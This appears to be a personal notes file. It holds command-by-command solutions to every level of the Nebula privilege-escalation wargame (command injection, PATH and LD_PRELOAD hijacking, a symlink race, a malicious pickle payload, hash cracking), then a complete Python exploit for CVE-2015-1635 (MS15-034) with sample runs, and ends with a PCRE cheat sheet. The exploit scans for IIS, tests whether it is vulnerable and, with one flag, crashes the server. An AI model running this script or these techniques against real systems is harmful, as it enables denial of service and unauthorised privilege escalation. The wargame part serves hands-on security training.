# Nebula


Level 00

$ find / -user flag00 -perm -4000 2>/dev/null
/bin/.../flag00
/rofs/bin/.../flag00
$ /bin/.../flag00
Congrats, now run getflag to get your flag!
$ /bin/getflag
You have successfully executed getflag on a target account

Level 01

$ ln -s /bin/getflag /tmp/echo
$ PATH=/tmp:$PATH
$ /home/flag01/flag01
You have successfully executed getflag on a target account

Level 02

$ USER=';/bin/getflag;#'
$ /home/flag02/flag02
about to call system("/bin/echo ;/bin/getflag;# is cool")

You have successfully executed getflag on a target account

Level 03

$ echo -en '#!/bin/sh\n\n/bin/getflag > /tmp/flag03' > /home/flag03/writable.d/l03.sh
$ cat /tmp/flag03
You have successfully executed getflag on a target account

Level 04

$ ln -s /home/flag04/token /tmp/t0k3n
$ /home/flag04/flag04 /tmp/t0k3n
06508b5e-8909-4f38-b630-fdb148a848a2
$ su -l flag04
Password: 06508b5e-8909-4f38-b630-fdb148a848a2
$ /bin/getflag
You have successfully executed getflag on a target account

Level 05

$ tar xvzf /home/flag05/.backup/backup-19072011.tgz -C /tmp/.
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
$ ssh -i /tmp/.ssh/id_rsa flag05@localhost /bin/getflag
You have successfully executed getflag on a target account

Level 06

$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
$ echo 'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh' > /tmp/flag06.pw
$ john /tmp/flag06.pw 
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello            (flag06)
$ su -l flag06
Password: hello
$ /bin/getflag
You have successfully executed getflag on a target account

Level 07

$ nc localhost 7007
GET /index.cgi?Host=localhost|/bin/getflag
Content-type: text/html

<html><head><title>Ping results</title></head><body><pre>
You have successfully executed getflag on a target account
</pre></body></html>

Level 08

$ wireshark capture.pcap
# Follow TCP Stream + Hexdump
000000D6  00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Password: 
000000B9  62 b
000000BA  61 a
000000BB  63 c
000000BC  6b k
000000BD  64 d
000000BE  6f o
000000BF  6f o
000000C0  72 r
000000C1  7f . <DEL>
000000C2  7f . <DEL>
000000C3  7f . <DEL>
000000C4  30 0
000000C5  30 0
000000C6  52 R
000000C7  6d m
000000C8  38 8
000000C9  7f . <DEL>
000000CA  61 a
000000CB  74 t
000000CC  65 e
000000CD  0d .
$ su -l flag08
Password: backd00Rmate
$ /bin/getflag 
You have successfully executed getflag on a target account

Level 09

$ echo '[email ${`/bin/echo;/usr/bin/id;/bin/getflag;/bin/echo`}]' > /tmp/l09
$ /home/flag09/flag09 /tmp/l09
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Notice:  Undefined variable: 
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
You have successfully executed getflag on a target account

 in /home/flag09/flag09.php(15) : regexp code on line 1

Level 10

$ nc -v -k -l localhost 18211
$ for i in `seq 1 1000`; do ln -f -s /etc/hostname /tmp/token; /home/flag10/flag10 /tmp/token localhost & ln -f -s /home/flag10/token /tmp/token; done
$ nc -v -k -l localhost 18211
Connection from localhost port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
$ su -l flag10
Password: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
$ /bin/getflag
You have successfully executed getflag on a target account

Level 11

$ PATH=/tmp:$PATH
$ ln -s /bin/getflag /tmp/c
$ cat /tmp/11a.py 
#!/usr/bin/env python

CL = 'Content-Length: '
command = 'c'

payload = command
encrypted = ''

key = len(payload) & 0xff
for i in payload:
 encrypted += chr(ord(i) ^ key)
 key -= ord(i)
 key &= 0xff

print CL + str(len(encrypted))
print encrypted
$ chmod +x /tmp/11a.py
$ /tmp/11a.py | /home/flag11/flag11
You have successfully executed getflag on a target account
$ TEMP=/tmp
$ cat /tmp/11b.py 
#!/usr/bin/env python

CL = 'Content-Length: '
command = '/bin/getflag;'
comment = '#'
padding = 'A' * (1024 - len(command) - len(comment))

payload = command + comment + padding
encrypted = ''

key = len(payload) & 0xff
for i in payload:
 encrypted += chr(ord(i) ^ key)
 key -= ord(i)
 key &= 0xff

print CL + str(len(encrypted))
print encrypted
$ chmod +x /tmp/11b.py
$ /tmp/11b.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

Level 12

$  nc localhost 50001 
Password:  4754a4f4bd5787accd33de887b9250a0691dd198; /bin/getflag > /tmp/flag12 # 
Congrats, your token is 413**CARRIER LOST**
$  cat /tmp/flag12 
You have successfully executed getflag on a target account

Level 13

$ cp /home/flag13/flag13 /tmp/.
$ echo 'int getuid() { return 1000; }' > /tmp/libfake.c
$ gcc -shared /tmp/libfake.c -o /tmp/libfake.so
$ LD_PRELOAD=/tmp/libfake.so /tmp/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
$ su -l flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
$ /bin/getflag
You have successfully executed getflag on a target account

Level 14

$ /home/flag14/flag14 -e
123456
13579;
$ cat /home/flag14/token
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
$ cat /tmp/l14.py
#!/usr/bin/env python

import sys

token = sys.argv[1]

decrypted = ''
i = 0

for c in token:
 print '[' + c + '] -->',
 r = chr(ord(c) - i % 255)
 print r
 i += 1
 decrypted += r

print decrypted
$ /tmp/l14.py 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
[8] --> 8
[5] --> 4
[7] --> 5
[:] --> 7
[g] --> c
[6] --> 1
[7] --> 1
[?] --> 8
[5] --> -
[A] --> 8
[B] --> 8
[B] --> 7
[o] --> c
[:] --> -
[B] --> 4
[t] --> e
[D] --> 4
[A] --> 0
[?] --> -
[t] --> a
[I] --> 5
[v] --> a
[L] --> 6
[D] --> -
[K] --> 3
[L] --> 3
[{] --> a
[M] --> 2
[Q] --> 5
[P] --> 3
[S] --> 5
[R] --> 3
[Q] --> 1
[W] --> 6
[W] --> 5
[.] --> 

8457c118-887c-4e40-a5a6-33a25353165
$ su -l flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
$ /bin/getflag
You have successfully executed getflag on a target account

Level 15

$ strace /home/flag15/flag15
...
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
...
$ cat /tmp/libfake.c 
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
 system(SHELL);
 return 0;
}
$ cat /tmp/version 
GLIBC_2.0{};
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=/tmp/version,-Bstatic -o /var/tmp/flag15/libc.so.6 /tmp/libfake.c
$ /home/flag15/flag15
$ /bin/getflag
You have successfully executed getflag on a target account

Level 16

$ cat /tmp/L16
#!/bin/bash

/bin/getflag > /tmp/flag16
$ nc localhost 1616
GET /index.cgi?username=`/*/L16`
Content-type: text/html

<html><head><title>Login resuls</title></head><body>Your login failed<br/>Would you like a cookie?<br/><br/></body></html>
$ cat /tmp/flag16
You have successfully executed getflag on a target account

Level 17

$ cat /tmp/l17.py
import os
import pickle
import socket

class GetFlag(object):
 def __reduce__(self):
  return (os.system, ('/bin/getflag > /tmp/flag17', ))

payload = pickle.dumps(GetFlag())

host = 'localhost'
port = 10007

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
client.send(payload)
client.close()
$ python /tmp/l17.py
$ cat /tmp/flag17
You have successfully executed getflag on a target account

Level 18

$ cat /tmp/Starting 
/usr/bin/id
/bin/getflag
$ chmod +x /tmp/Starting
$ PATH=/tmp:$PATH
$ python -c "print 'login me\n'*1021 + 'closelog\n'*1021 + 'shell\n'" | /home/flag18/flag18 --rcfile -d /tmp/debug -v -v -v 2> /dev/null
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
You have successfully executed getflag on a target account

Level 19

$ cat /tmp/fork.c
#include <unistd.h>

int main(){
 pid_t pid = fork();
 if(pid == 0){
  // Child
  char *path = "/home/flag19/flag19";
  char *cmd[] = {"/bin/sh", "-c", "/bin/echo && /usr/bin/id && /bin/getflag"};
  sleep(2);
  execv(path, cmd);
 }
 return 0;
}
$ gcc -o /tmp/fork /tmp/fork.c
$ /tmp/fork
$ 
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
You have successfully executed getflag on a target account
$ cat /tmp/fork.py
import os
import time

def child():
 time.sleep(2)
 os.execv('/home/flag19/flag19', ['/bin/sh', '-c', '/bin/echo && /usr/bin/id && /bin/getflag'])

def parent():
 pid = os.fork()
 if pid == 0:
  child()

parent()
$ python /tmp/fork.py
$ 
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
You have successfully executed getflag on a target account

Reference

https://exploit-exercises.com/nebula/

# CVE-2015-1635: Check and exploit MS15-034


# cat cve-2015-1635.py
#!/usr/bin/env python


"""cve-2015-1635.py: DoS PoC"""


import argparse, BeautifulSoup, re, requests, socket, sys, urlparse


__author__  = 't0n1'
__credits__ = 'sha0'


LOW  = '2'
HIGH = '18446744073709551615'
UA   = 'Mozilla/5.0'
TOUT = 3
MAX  = 262144


s = requests.Session()


def parse_url(url):
 url = urlparse.urljoin(URL, url)
 parsed = urlparse.urlparse(url)
 return parsed.scheme + '://' + parsed.netloc + parsed.path


def get_content_length(url):
 h = {
  'User-agent': UA,
 }
 r = s.head(url, headers = h, verify = False)
 return int(r.headers['content-length'])
  

def get_resource(html):
 parsed = urlparse.urlparse(URL)
 urllist = []
 soup = BeautifulSoup.BeautifulSoup(html)
 for img in soup.findAll('img', src = True):
  urllist.append(parse_url(img['src']))
 for link in soup.findAll('a', href = True):
  urllist.append(parse_url(link['href']))
 for url in urllist:
  if parsed.netloc not in url:
   continue
  cl = get_content_length(url)
  if 0 < cl and cl <= MAX:
   print '[+] New URL = ' + url + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
   return url
 cl = get_content_length(URL)
 print '[+] Same URL = ' + URL + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
 return URL


def check_iis():
 global URL
 h = {
  'User-agent': UA,
 }
 r = s.get(URL, headers = h, verify = False)
 print '[+] URL = ' + URL
 if 'server' in r.headers.keys():
  server = r.headers['server']
  if 'iis' in server.lower():
   print '[+] Server HTTP Header = ' + server
   if r.status_code == 200:
    print '[+] Status Code = 200'
    URL = get_resource(r.text)
    return True
   else:
    print '[-] Status Code = ' + str(r.status_code)
    return False
  else:
   print '[-] Server HTTP Header = ' + server
   return False
 else:
  print '[-] Not Server HTTP Header'
  return False


def check_vulnerable():
 h = {
  'User-agent': UA,
  'Range': 'bytes=0-' + HIGH
 }
 r = s.get(URL, headers = h, verify = False)
 if r.status_code == 416:
  print '[+] >>>>>>>>>> Vulnerable | Status Code = 416'
  return True
 elif r.status_code == 400:
  print '[-] Not vulnerable | Status Code = 400 | Patched?'
  return False
 else:
  print '[-] Not vulnerable | Status Code = ' + str(r.status_code)
  return False


def exploit():
 h = {
  'User-agent': UA,
  'Range': 'bytes=' + LOW + '-' + HIGH
 }
 try:
  r = s.get(URL, headers = h, timeout = TOUT, verify = False)
  if r.status_code == 206:
   print '[-] Not vulnerable | Status Code = 206 | Kernel cache disabled?'
 except requests.exceptions.ConnectionError:
  pass
 except requests.exceptions.Timeout:
  print '[+] Blue Screen of Death! Game Over!'


parser = argparse.ArgumentParser()
parser.add_argument('-u', dest = 'url', help = 'Target', required = True)
parser.add_argument('-e', dest = 'exploit', action = 'store_true', help = 'Exploit', required = False)


args = parser.parse_args()
URL = args.url


if check_iis():
 if check_vulnerable():
  if args.exploit == True:
   exploit()

# ./cve-2015-1635.py -h
usage: cve-2015-1635.py [-h] -u URL [-e]

optional arguments:
  -h, --help  show this help message and exit
  -u URL      Target
  -e          Exploit

# ./cve-2015-1635.py -u http://127.0.0.1:8080
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416

# ./cve-2015-1635.py -u http://127.0.0.1:8080 -e
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416
[+] Blue Screen of Death! Game Over!


References

https://technet.microsoft.com/library/security/ms15-034

# PCRE (Perl Compatible Regular Expression)


General Tokens

\n Newline
\r Carriage return
\t Tab
\0 Null character

Anchors

\G Start of match. Will match at the position the previous successful match ended
^ Start of string (multiline mode). Will match after each newline character
$ End of string (multiline mode). Will match before each newline character
\A Start of string
\Z End of string. Will match before last newline character
\z End of string. Will match at the end of a string
\b A word boundary. Will match between \w and \W
\B Non-word boundary. Will match between two characters matched by \w

Meta Sequences

. Any single character
\s Any whitespace
\S Any non-whitespace
\d Any digit
\D Any non-digit
\w Any word
\W Any non-word
\X Any unicode sequences
\C Match one data unit
\R Unicode newline
\v Vertical whitespace
\h Horizontal whitespace
\H Non-horizontal whitespace
\K Reset match: sets the given position as the new start
\n Match nth subpattern (backreference)
\pX Unicode property X
\PX Non-unicode property X
\p{...} Unicode properties
\P{...} Non-unicode properties
\Q...\E Any characters between will be treated as literals
\k<name> Match subpattern 'name'
\k'name' Match subpattern 'name'
\k{name} Match subpattern 'name'
\gn Match nth subpattern
\g{n} Match nth subpattern
\g{-n} Match nth group before current position
\g'name' Recurse subpattern 'name'
\g<n> Recurse nth subpattern
\g'n' Recurse nth subpattern
\g<+n> Recurse nth relative subpattern
\g'+n' Recurse nth relative subpattern
\xYY Hex character YY
\x{YYYY} Hex character YYYY
\ddd Octal character ddd
\cY Control character Y
\b Backspace character
\ Makes any character literal

Quantifiers

a? Zero or one a
a* Zero or more of a
a+ One or more of a
a{3} Exactly 3 of a
a{3,} 3 or more of a
a{3,6} Between 3 and 6 of a
a* Greedy quantifier
a*? Lazy/Reluctant quantifier
a*+ Possessive quantifier

Group Constructs

(...) Capture everything enclosed
(a|b) a or b
(?:...) Match everything enclosed but won't create a capture group
(?>...) Atomic group
(?|...) Duplicate subpattern group
(?#...) Comment
(?'name'...) Named capturing group
(?<name>...) Named capturing group
(?P<name>...) Named capturing group
(?imsxXU) Inline modifiers
(?(...)|) Conditional statement
(?R) Recurse entire pattern
(?1) Recurse first subpattern
(?+1) Recurse first relative subpattern
(?&name) Match subpattern 'name'
(?P>name) Match subpattern 'name'
(?=...) Positive lookahead
(?!...) Negative lookahead
(?<=...) Positive lookbehind
(?<!...) Negative lookbehind

Character classes

[abc] A character: a, b or c
[^abc] A character except: a, b or c
[a-z] A character in the range: a-z
[a-z] A character not in the range: a-z
[a-zA-Z] A character in the range: a-z or A-Z
[[:alnum:]] Letter or digit
[[:alpha:]] Letter
[[:ascii:]] Ascii code in the range: 0-127
[[:blank:]] Space or tab
[[:cntrl:]] Control character
[[:digit:]] Digit
[[:graph:]] Visible character (not space)
[[:lower:]] Lower character
[[:print:]] Visible character
[[:punct:]] Visible punctuation character
[[:space:]] Whitespace
[[:upper:]] Uppercase character
[[:word:]] Word
[[:xdigit:]] Hexadecimal digit

Flags/Modifiers

g Global
m Multiline
i Case insensitive
x Ignore whitespace
s Single line
u Unicode
X Extended
U Ungreedy
A Anchor

Substitution

\0 Complete match contents
\1 Contents in capture group 1
\g<1> Contents in capture group 1
$1 Contents in capture group 1
${foo} Contents in capture group 'foo'
\{foo} Contents in capture group 'foo'
\g{foo} Contents in capture group 'foo'
\xYY Hexadecimal replacement
\x{YYZZ} Hexadecimal replacement
\t Tab
\r Carriage return
\n Newline
\f Form-feed

PCRE tester

# perl -Mre=debugcolor -e '"preval(" =~ /(^|\s)eval\(/'
Compiling REx "(^|\s)eval\("
Final program:
   1: OPEN1 (3)
   3:   BRANCH (5)
   4:     BOL (7)
   5:   BRANCH (FAIL)
   6:     POSIXD[\s] (7)
   7: CLOSE1 (9)
   9: EXACT <eval(> (12)
  12: END (0)
floating "eval(" at 0..1 (checking floating) minlen 5 
Guessing start of match in sv for REx "(^|\s)eval\(" against "preval("
Found floating substr "eval(" at offset 2...
Starting position does not contradict /^/m...
Guessed: match at offset 1
Matching REx "(^|\s)eval\(" against "reval("
   1 <preval(>|  1:OPEN1(3)
   1 <preval(>|  3:BRANCH(5)
   1 <preval(>|  4:  BOL(7)
                                    failed...
   1 <preval(>|  5:BRANCH(7)
   1 <preval(>|  6:  POSIXD[\s](7)
                                    failed...
                                  BRANCH failed...
   2 <preval(>|  1:OPEN1(3)
   2 <preval(>|  3:BRANCH(5)
   2 <preval(>|  4:  BOL(7)
                                    failed...
   2 <preval(>|  5:BRANCH(7)
   2 <preval(>|  6:  POSIXD[\s](7)
                                    failed...
                                  BRANCH failed...
Match failed
Freeing REx: "(^|\s)eval\("

# perl -Mre=debugcolor -e '"eval(" =~ /(^|\s)eval\(/'
Compiling REx "(^|\s)eval\("
Final program:
   1: OPEN1 (3)
   3:   BRANCH (5)
   4:     BOL (7)
   5:   BRANCH (FAIL)
   6:     POSIXD[\s] (7)
   7: CLOSE1 (9)
   9: EXACT <eval(> (12)
  12: END (0)
floating "eval(" at 0..1 (checking floating) minlen 5 
Guessing start of match in sv for REx "(^|\s)eval\(" against "eval("
Found floating substr "eval(" at offset 0...
Guessed: match at offset 0
Matching REx "(^|\s)eval\(" against "eval("
   0 <eval(>|  1:OPEN1(3)
   0 <eval(>|  3:BRANCH(5)
   0 <eval(>|  4:  BOL(7)
   0 <eval(>|  7:  CLOSE1(9)
   0 <eval(>|  9:  EXACT <eval(>(12)
   5 <eval(>| 12:  END(0)
Match successful!
Freeing REx: "(^|\s)eval\("


References

http://pcre.org/pcre.txt